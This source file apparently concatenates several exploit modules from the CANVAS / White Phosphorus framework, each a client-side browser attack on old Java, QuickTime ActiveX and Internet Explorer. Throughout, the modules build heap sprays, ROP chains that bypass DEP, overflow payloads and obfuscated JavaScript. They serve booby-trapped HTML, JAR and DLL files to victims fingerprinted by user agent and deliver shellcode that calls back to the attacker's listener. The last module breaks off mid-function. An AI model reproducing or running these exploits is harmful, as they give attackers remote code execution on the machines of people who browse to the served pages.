class theexploit(wp_exploit, httpclientside): PAYLOADS = ["Java Node"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" self.htmlfile = self.filename self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") self.jarfile = 'wp_oracle_java_jre7sunawt.jar' self.autoFind = False self.refresh_rate = 0 return def is_vulnerable(self, info_dict): major, minor, build, patch = self.getJavaVersions(info_dict) self.log( "WP> Checking if target is vulnerable. Detected Java version: major=%s, minor=%s, build=%s, patch=%s" % (major, minor, build, patch)) if not major: return 0 if major == 1: if minor == 7: if patch <= 6: return 81 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return [canvasengine.UNIVERSAL_MOSDEF] def getArgs(self): if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makedownloadfile(self): return file( '3rdparty/White_Phosphorus/exploits/wp_oracle_java_jre7sunawt/%s' % self.jarfile, 'rb').read() def makefile(self): html = """ <html> <head> <title>404 Not Found</title> </head> <body> <applet archive="%s" code="SiteError.class" width="0" height="0"> <param name="host" value="%s"> <param name="port" value="%d"> <param name="type" value="%d"> <param name="id" value="%d"> </applet> <h1>Not Found</h1> <p>The requested URL /%s was not found on this server.</p> <hr> </body> </html> """ % (self.jarfile, self.callback.ip, self.callback.port, self.engine.getMosdefType(canvasengine.JAVASERVER), self.engine.getNewMosdefID(self), self.htmlfile) return html def makesploit(self, clientheader, clientbody): self.createShellcode() from libs.spkproxy import header, body h = header('SERVER') b = body() self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif clientheader.URL.count(self.jarfile): self.log("WP> Sending JAR") data = self.makedownloadfile() self.log("WP> Sending %d bytes" % len(data)) h.addHeader('Content-type', 'binary/octet-stream') h.addHeader('Connection', 'close') b.setBody(data) elif clientheader.URL.count("done"): self.log("WP> Did not load Java applet!") return None, None else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output" % outputfile) fd = file(outputfile, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (outputfile)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = '\0\x09\x20\x0a' #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() #self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def makefileIE8_VistaWin7(self): # Exploit for IE 8 Windows 7/Vista landingAddress = '308940992' #126A10C0 # Build our heapspray repeated block heapspraycode = pack('<L', 0x126A10b8) # landingAddress-8 heapspraycode += pack('<L', 0x63f0575b) # Stack Pivot (EAX->ESP) heapspraycode += pack('<L', 0x63f01dcb) # retn 0c (For sliding) heapspraycode += pack('<L', 0x11111111) # slackspace # depbypass using mscorie depbypass = pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x63f05428) # POP EDI, ESI, RET depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x63f05b01) # RETN depbypass += pack('<L', 0x63f05b01) # RETN depbypass += pack('<L', 0x63f05557) # POP EBP depbypass += pack('<L', 0x63f04cb5) # Call VirtualAlloc depbypass += pack('<L', 0x63f054c0) # POP EBX depbypass += pack('<L', 0x000007d0) # Size depbypass += pack('<L', 0x63f05458) # POP EDX depbypass += pack('<L', 0x00001000) # Type depbypass += pack('<L', 0x63f01e13) # POP ECX depbypass += pack('<L', 0x00000040) # Protect depbypass += pack('<L', 0x63f05afa) # PUSHAD, XOR EAX,C9027563, RET depbypass += pack('<L', 0x63f069e3) # CALL ESP depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace filedata = """ <html> <body> <object classid="OURDLL" height="0" width="0"></object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); depbypass = unescape("DEPBYPASSCODE"); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += depbypass + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> <PARAM name="_Marshaled_pUnk" value="ADDRESS"/> </object> </body> </html> """ filedata = filedata.replace('OURDLL', self.filename.replace('.html', '.dll')) filedata = filedata.replace('ADDRESS', landingAddress) return filedata def makefileWinXP(self): # Exploit for Windows XP landingAddress = '308940992' #126A10C0 # Build our heapspray repeated block heapspraycode = pack('<L', 0x126A10b8) # landingAddress-8 heapspraycode += pack('<L', 0x668B1AB2) # Stack Pivot (EAX->ESP) heapspraycode += pack('<L', 0x66801AAA) # retn 0c (For sliding) heapspraycode += pack('<L', 0x66801AAA) # retn 0c (For sliding) depbypass = pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace # depbypass using QuickTime.qts depbypass += pack('<L', 0x66834755) # PUSH ESP / POP ESI / RET depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x11111111) # slackspace depbypass += pack('<L', 0x6692597A) # MOV EAX, ESI / RET depbypass += pack('<L', 0x670C5943) # ADD EAX, 3C / RET depbypass += pack('<L', 0x670C5849) # add EAX, 18 / RET depbypass += pack('<L', 0x668E466D) * 3 # add eax, 8 depbypass += pack('<L', 0x66A6C94C) # XCHG EAX, EDI / RET depbypass += pack('<L', 0x66834755) # PUSH ESP / POP ESI / RET depbypass += pack('<L', 0x6692597A) # MOV EAX, ESI / RET depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66818579) # XOR EAX, EAX depbypass += pack('<L', 0x66AEC813) # ADD EAX, 800 / POP ESI / RET depbypass += pack('<L', 0x61616161) depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66AEC813) # ADD EAX, 800 / POP ESI / RET depbypass += pack('<L', 0x61616161) depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66818579) # XOR EAX, EAX depbypass += pack('<L', 0x668F9B80) # ADD EAX, 40 / POP EBP / RET depbypass += pack('<L', 0x61616161) # depbypass += pack('<L', 0x66A99F74) # STOSD depbypass += pack('<L', 0x66A6C94C) # XCHG EAX, EDI / RET depbypass += pack('<L', 0x6685E4A4) # XCHG EAX, EBP / RET depbypass += pack('<L', 0x66802173) # POP ECX / RET depbypass += pack('<L', 0x671BD278) # VirtualAlloc depbypass += pack('<L', 0x66834F87) # MOV EAX, [ECX] / RET depbypass += pack('<L', 0x668EA7E5) # CALL EAX / RET depbypass += pack('<L', 0x61616161) * 4 # write params here depbypass += pack('<L', 0x66855634) # PUSH ESP / RETN depbypass += wp_randomnops(4) filedata = """ <html> <body> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> </object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); depbypass = unescape("DEPBYPASSCODE"); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += depbypass + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} function doit() { var data='<object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0">'; data +='<PARAM name="_Marshaled_pUnk" value="ADDRESS"/>'; data +='</object>'; document.getElementById('test').innerHTML = data; } // Allow time for the quicktime modules to load setTimeout("doit()",2000); """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) script = script.replace('DEPBYPASSCODE', wp_urluencode(depbypass)) script = script.replace('ADDRESS', landingAddress) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <div id="test"></div> </body> </html> """ return filedata def makefileIE7(self): # Exploit for Windows Vista IE 7 landingAddress = '308940992' #126A10C0 # Build our heapspray repeated block heapspraycode = pack('<L', 0x126A10b8) # landingAddress-8 heapspraycode += pack('<L', 0x126A10c8) # return to heap heapspraycode += "\xeb\x0e\x90\x90" # short jmp heapspraycode += pack('<L', 0x66801AAA) # slack space filedata = """ <html> <body> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> </object> <script language="JavaScript"> """ #script code script = """ memory = new Array(); shellcode = unescape("SHELLCODE"); //var len= shellcode.length + 0x21; //0x21 is heap header var len=0 var heapspray = unescape("HEAPSPRAYCODE"); while(heapspray.length < 0x120000) heapspray += heapspray; heapspray = heapspray.substring(0, 0x120000- len); heapspray = unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + heapspray; heapspray += unescape("%u1111%u1111%u1111%u1111%u1111%u1111") + shellcode; try{ for(var i = 0; i < 400; i++) { memory[i]= heapspray.substring(0,heapspray.length); } } catch(err) {} """ script = script.replace( 'SHELLCODE', wp_urluencode(wp_randomnops(4) + self.shellcode + ("\x00" * 100))) script = script.replace('HEAPSPRAYCODE', wp_urluencode(heapspraycode)) #Obfuscate the script code if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script # Add the reset of the filedata filedata += """ </SCRIPT> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"> <PARAM name="_Marshaled_pUnk" value="ADDRESS"/> </object> </body> </html> """ filedata = filedata.replace('ADDRESS', landingAddress) return filedata def makefile(self, browser, osversion): if osversion == "Windows XP": self.log('WP> Serving Windows XP exploit') return self.makefileWinXP() if browser == "MSIE 8.0": self.log('WP> Serving MSIE 8.0 exploit') return self.makefileIE8_VistaWin7() if browser == "MSIE 7.0": self.log('WP> Serving MSIE 7.0 exploit') return self.makefileIE7() # Default to a non ASLR version self.log('WP> Serving Non ASLR Exploit') return self.makefileWinXP() def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit html file') data = self.makefile(browser, osversion) if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.dll')): self.log('WP> Serving exploit DLL file') data = open( '3rdparty/White_Phosphorus/exploits/wp_quicktime_punk/ourdll.dll' ).read() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/octet-stream') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') self.log('WP> ****************************************') return h, b def run(self): if (self.version == 0): filedata = self.makefile('', 'Windows XP') elif (self.version == 1): filedata = self.makefile('MSIE 7', '') elif (self.version == 2): filedata = self.makefile('MSIE 8', '') self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s' % (self.filename)) return 1
class theexploit(wp_exploit, httpclientside): ###################################################################################### ## WP> Dialog Information ##########################s############################################################ PAYLOADS = [ "IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command" ] # Clienside exploits default to HTTPMosdef PLAIN for clientD DEFAULT_PAYLOAD = 2 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.use_universal = True # We default these to false self.HTTPMOSDEF = False self.useSSLMOSDEF = False self.isClientD = False self.badstring = "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40\x5c" #Ranomisze name for clientd self.filename = "".join( [random.choice(string.uppercase) for x in range(8)]) + ".html" # HTTP Custom Stuff self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): # Called from ClientD, if recon modules are enabled # returns a value used to rank the exploit within attacking modules """ Check for IE 6 """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language) == type([]): language = language[0] # it's a list in actuality self.log("WP> language found: %s" % language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets, "-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s' % (self.version, targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): # If Called from clientD, update shellcode accordingly if getattr(self, 'useSSLMOSDEF', False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: # Potentially called from httpserver update shellcode accordingly if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 # Selected shell options self.wp_getShellcodeType() # If called from clientD there will be no target here if self.target: self.host = self.target.interface self.filename = self.argsDict.get('filename', self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s' % (t, targets[t][0]) return def wp_DEPBypassQuickTimeSmil(self): self.log("WP> Building Universal DEP bypass") depBypass = pack('<L', 0x66834755) # PUSH ESP / POP ESI / RET depBypass += pack('<L', 0x6692597A) # MOV EAX, ESI / RET depBypass += pack('<L', 0x670C5943) # ADD EAX, 3C / RET depBypass += pack('<L', 0x670C5849) # add EAX, 18 / RET depBypass += pack('<L', 0x668E466D) * 3 # add eax, 8 depBypass += pack('<L', 0x66A6C94C) # XCHG EAX, EDI / RET depBypass += pack('<L', 0x66834755) # PUSH ESP / POP ESI / RET depBypass += pack('<L', 0x6692597A) # MOV EAX, ESI / RET depBypass += pack('<L', 0x66A99F74) # STOSD depBypass += pack('<L', 0x66818579) # XOR EAX, EAX depBypass += pack('<L', 0x66AEC813) # ADD EAX, 800 / POP ESI / RET depBypass += pack('<L', 0x61616161) depBypass += pack('<L', 0x66A99F74) # STOSD depBypass += pack('<L', 0x66AEC813) # ADD EAX, 800 / POP ESI / RET depBypass += pack('<L', 0x61616161) depBypass += pack('<L', 0x66A99F74) # STOSD depBypass += pack('<L', 0x66818579) # XOR EAX, EAX depBypass += pack('<L', 0x668F9B80) # ADD EAX, 40 / POP EBP / RET depBypass += pack('<L', 0x61616161) # depBypass += pack('<L', 0x66A99F74) # STOSD depBypass += pack('<L', 0x66A6C94C) # XCHG EAX, EDI / RET depBypass += pack('<L', 0x6685E4A4) # XCHG EAX, EBP / RET depBypass += pack('<L', 0x66802173) # POP ECX / RET depBypass += pack('<L', 0x671BD278) # VirtualAlloc depBypass += pack('<L', 0x66834F87) # MOV EAX, [ECX] / RET depBypass += pack('<L', 0x668EA7E5) # CALL EAX / RET depBypass += pack('<L', 0x61616161) * 4 # write params here depBypass += pack('<L', 0x66855634) # PUSH ESP / RETN depBypass += wp_randomnops(4) self.depBypass_size = len(depBypass) self.log("WP> Universal DEP Bypass Size: %d Bytes" % self.depBypass_size) return depBypass def makesmil(self): payload = wp_randomstring(5) payload += "://" payload += "A" * (617) payload += pack('<L', 0x66808257) # ADD ESP, 20 payload += "BBBB" payload += pack('<L', 0x66812811) # ADD ESP, 1C payload += "BBBB" payload += "BBBB" payload += "BBBB" payload += "BBBB" payload += "BBBB" payload += pack('<L', 0x66884435) # ADD ESP, 980 payload += self.wp_DEPBypassQuickTimeSmil() payload += self.shellcode payload += "B" * 90000 filedata = """ <smil xmlns="http://www.w3.org/2001/SMIL20/Language"> <body> <img src="PAYLOAD" /> </body> </smil> """.replace('PAYLOAD', payload) self.log("WP> Opening %s" % (self.filename.replace('.html', '.smil'))) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() return filedata def makefile(self): filedata = """ <html> <body> <object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="1" height="1" codebase="http://www.apple.com/qtactivex/qtplugin.cab"> <param name="SRC" value = "SMILFILE"> <param name="QTsrc" value = "SMILFILE"> <param name="AUTOPLAY" value = "true"> <param name="TYPE" value = "video/quicktime"> <param name="TARGET" value = "myself"> <embed SR = "QTLFILE" QTsrc = "QTLFILE" TARGET = "myself" WIDTH = "1" HEIGHT = "1" AUTOPLAY = "true" PLUGIN = "quicktimeplugin" TYPE = "video/quicktime" CACHE = "false" PLUGINSPAGE= "http://www.apple.com/quicktime/download/" > </embed> </object> </body> </html> """ filedata = filedata.replace('SMILFILE', (self.filename.replace('.html', '.smil'))) filedata = filedata.replace('QTLFILE', (self.filename.replace('.html', '.qtl'))) return filedata def makesploit(self, clientheader, clientbody): self.createShellcode() # The main call from ClientD from libs.spkproxy import header, body h = header('SERVER') b = body() self.log('WP> ****************************************') self.log("WP> URL Received: %s" % clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) # Get details browser, osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') #self.log('WP> User agent of connecting host: %s' % user_agent) if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data = self.makefile() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'text/html') h.addHeader('Set-Cookie', 'SessionID=%d' % self.jsObfuscator.getXORKey()) elif (clientheader.URL.count('.smil') or clientheader.URL.count('.qtl')): self.log('WP> Serving .smil file') data = self.makesmil() if not data: return None, None b.setBody(data) h.addHeader('Content-Type', 'application/smil') else: self.log('WP> Redirecting to self') h.status = '302' h.addHeader('Location', self.filename) h.addHeader('Content-Type', 'text/html') return h, b def run(self): filedata = self.makefile() self.log("WP> Opening %s" % (self.filename)) fd = file(self.filename, 'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote exploit .html file') # makesmil, creates the file itself. filedata = self.makesmil() self.log('WP> Wrote exploit .smil file') self.log('WP> Output complete') return 1
class theexploit(wp_exploit, httpclientside): PAYLOADS=["IE Inject Connect Back", "HTTPMOSDEF SSL", "HTTPMOSDEF PLAIN", "Execute Command"] DEFAULT_PAYLOAD = 0 def __init__(self): wp_exploit.__init__(self) httpclientside.__init__(self) self.setInfo(DESCRIPTION) self.setInfo(VERSION) self.name = NAME self.targets = targets self.version = 0 self.isClientD = False self.use_universal = True self.encode_printable = True self.alignstack = True self.badstring = "\x00\x09\x0a\x0b\x0c\x0d\x22\x5c" self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") return def is_vulnerable(self, info_dict): """ Check for IE """ self.isClientD = True if "MSIE" in info_dict['user_agent']: self.log("WP> Target has MSIE") language = info_dict['plugins'].get("language", "") if type(language)==type([]): language=language[0] self.log("WP> language found: %s"%language) if "en-us" in language: return 95 else: return 20 return 0 def usage(self): self.wp_usage(targets,"-F <filename>") return def neededListenerTypes(self): self.getArgs() return self.wp_createWin32Listener() def createShellcode(self): self.getArgs() self.log('WP> Targeting version %d: %s'%(self.version,targets[self.version][0])) return self.wp_createShellcode() def getArgs(self): if getattr(self,'useSSLMOSDEF',False): self.isClientD = True self.DEFAULT_PAYLOAD = 1 else: if self.HTTPMOSDEF: if self.useSSLMOSDEF: self.DEFAULT_PAYLOAD = 1 else: self.DEFAULT_PAYLOAD = 2 self.wp_getShellcodeType() if self.target: self.host=self.target.interface self.filename=self.argsDict.get('filename',self.filename) return def displayVersions(self): for t in targets.keys(): print 'WP> Version %d: %s'%(t,targets[t][0]) return def makefile(self,browser,osversion): if osversion == "Windows XP": if browser == "MSIE 7.0": self.log('WP> Serving Windows XP IE7 exploit') return self.makefileIE7() self.log('WP> Invalid target') return def makefileIE7(self): payload = pack('<L', 0x0c0c0c0c)*68 sc = "\x8B\xE5" sc += "\x83\xC4\x05" sc += self.shellcode + wp_randomstring(100) filedata="""<html> <head> <script>""" script = wp_clientside_HeapLib(padding="%u0c0c") script += """ var heap_obj = new heapLib.ie(0x20000); var nops = unescape("NOPS"); var code = unescape("SHELLCODE"); while (nops.length < 0x2000) nops += nops; var offset = nops.substring(0, 0x5F4); var shellcode = offset + code + nops.substring(0, 0x1000-code.length-offset.length); while (shellcode.length < 0x80000) shellcode += shellcode; var block = shellcode.substring(0, (0x80000-6)/2); heap_obj.gc(); for (var z=1; z < 0x300; z++) { heap_obj.alloc(block); } """ script = script.replace('SHELLCODE',wp_urluencode(sc)) script = script.replace('NOPS',wp_urluencode(pack('<L',0x0c0c0c0c))) self.isClientD=False if self.isClientD: self.log("WP> Running jsObfuscator") filedata += self.jsObfuscator.obfuscate(script) else: filedata += script filedata += """</script> <body> <object classid="clsid:09F68A41-2FBE-11D3-8C9D-0008C7D901B6" id='target'/></object> <script language='javascript'> arg1 = "PAYLOAD"; target.ChooseFilePath(arg1); </script> </html> """ filedata = filedata.replace('PAYLOAD', payload) return filedata def makesploit(self,clientheader,clientbody): self.createShellcode() from libs.spkproxy import header,body h=header('SERVER') b=body() self.log('WP> ****************************************') self.log("WP> URL Received: %s"%clientheader.URL) user_agent = clientheader.getStrValue(['User-Agent']) cookies = clientheader.getStrValue(['Cookie']) browser,osversion = wp_browserinfo(user_agent) self.log('WP> OSVersion: %s' % osversion) self.log('WP> Browser: %s' % browser) self.log('WP> ') if clientheader.URL.count(self.filename): self.log('WP> Serving exploit file') data=self.makefile(browser,osversion) if not data: return None,None b.setBody(data) h.addHeader('Content-Type','text/html') h.addHeader('Set-Cookie','SessionID=%d' % self.jsObfuscator.getXORKey()) else: self.log('WP> Redirecting to self') h.status='302' h.addHeader('Location',self.filename) h.addHeader('Content-Type','text/html') return h,b def run(self): filedata=self.makefile() outputfile = wp_outputpath(self.filename) self.log("WP> Opening %s for output"%outputfile) fd=file(outputfile,'wb+') fd.write(filedata) fd.close() self.log('WP> Wrote to %s'%(outputfile)) return 1
class theexploit(httpclientside): def __init__(self): tcpexploit.__init__(self) httpclientside.__init__(self) self.searchMethod = self.FindBrowser_FindAnyTag_CmpExtraInfo self.UserAgent = [("Mozilla/", "MSIE", "")] self.plugin_info = None # we want clientd to give us a plugin dict self.supports_dns_mosdef = True self.shellcode="\xcc" * 298 self.setVersions() self.version=1 self.badstring="" #bad strings are for wusses :> self.name=NAME self.filename="".join( [ random.choice(string.uppercase) for x in range(8) ] ) + ".html" self.number_of_imports = 0xC self.cssname=u"\u1024\u0900"*((self.number_of_imports*2) - 2) self.jsObfuscator = JSObfuscator() self.jsObfuscator.xorKeyFromCookie("SessionID") def random_dummy_string(self, prefix=""): h = hashlib.new('sha1') h.update(str(random.random() * 10).replace('.', '')) retval = h.hexdigest() retval = '%s%.5s' % (prefix, retval) return retval # This is expecting an info_dict that is populated like so: # # info_dict['plugins'] = parse_plugin_data(plugins_dict) # info_dict['user_agent'] = clientheader.getStrValue(['User-Agent']) # # self.plugin_info comes from clientd in parse_plugin_data scrubbed format def is_vulnerable(self, info_dict): """ Check to make sure this is something we want to run, in this case, it means "running IE 7 and a language we have a target for. """ if "MSIE 7.0" in info_dict['user_agent']: return 50 self.log("Not IE7 - possibly vulnerable, but not to this exploit") return 0 def displayVersions(self): for v in self.versions.keys(): print "Version %d: %s"%(v,self.versions[v][0]) def setVersions(self): self.versions={} #name, jmp esp, writeloc, writable, shelloc self.versions[1]=("Windows - all versions",None) def neededListenerTypes(self): return self.clientSideListenerTypes() def createShellcode(self): #get us a clean stack to play with and save the original EBP for continuation of execution before_shellcode=""" xorl %ecx,%ecx movl %fs:0x8(%ecx),%esp addl $0x2000, %esp movl %ebp, 0x09001028(%ecx) """ continuation_code=""" xorl %ecx,%ecx xorl %eax,%eax movl 0x09001028(%ecx), %ebp movl %ebp, %esp subl $0x10, %esp popl %edi popl %esi popl %ebx leave ret $4 """ injectme = self.createWin32Shellcode_universal(self.badstring, self.callback.ip, self.callback.port) if not self.DNSMOSDEF: sc = shellcodeGenerator.win32() sc.vProtectSelf=False sc.vAllocSelf = False sc.addAttr("findeipnoesp", {"subespval": 0}) sc.addAttr("InjectToSelf", { "injectme" : injectme, "customexit" : continuation_code }) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc.get() else: import shellcode.standalone.windows.payloads as payloads p = payloads.payloads() cd = "C000.00.%s.ms11003.com" % (self.random_dummy_string()) sc = p.dns_proxy(cd, self.callback.ip) #we'll need to tweak the domain sc = p.assemble(sc) self.shellcode = mosdef.assemble(before_shellcode, "x86") + sc return len(self.shellcode) def makefile(self): """ ROP strategy: * IEUI dependant only - LoadLibraryA(kernel32.dll) - GetProcAddress(VirtualProtect) - VirtualProtect(0x09001024, 0x1000, 0x40, somethin_an_other...) - exec shellcode """ replaces={} replaces["SHELLCODE"]=urluencode(self.shellcode) replaces["STACKPIVOT"]="0x5DFFF66B" replaces["LoadLibraryA"]="0x5DFF1074" replaces["GetProcAddress"]="0x5DFF1068" replaces["POPEAX"]="0x5DFF21CC" replaces["POPECX"]="0x5DFF3E21" replaces["POPEDI"]="0x5DFF1041" replaces["MOVEAX,[EAX]RETEAX"]="0x5DFF6621" replaces["MOV[ECX+24],EAX"]="0x5E00FE05" replaces["JMPEAX"]="0x5DFF6623" filedata=""" <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head></head> <body><script>""" js=""" function format_string(str) { str+=unescape("%u0000"); var out=""; for (x = 0; x < str.length; x+=4) { num = str.charCodeAt(x); if (x+1 < str.length) num = num + (str.charCodeAt(x+1) << 8) if (x+2 < str.length) num = num + (str.charCodeAt(x+2) << 16) if (x+3 < str.length) num = num + (str.charCodeAt(x+3) << 24) out+=format_dword(num); } return out; } function format_dword(num) { tmp=num.toString(16); 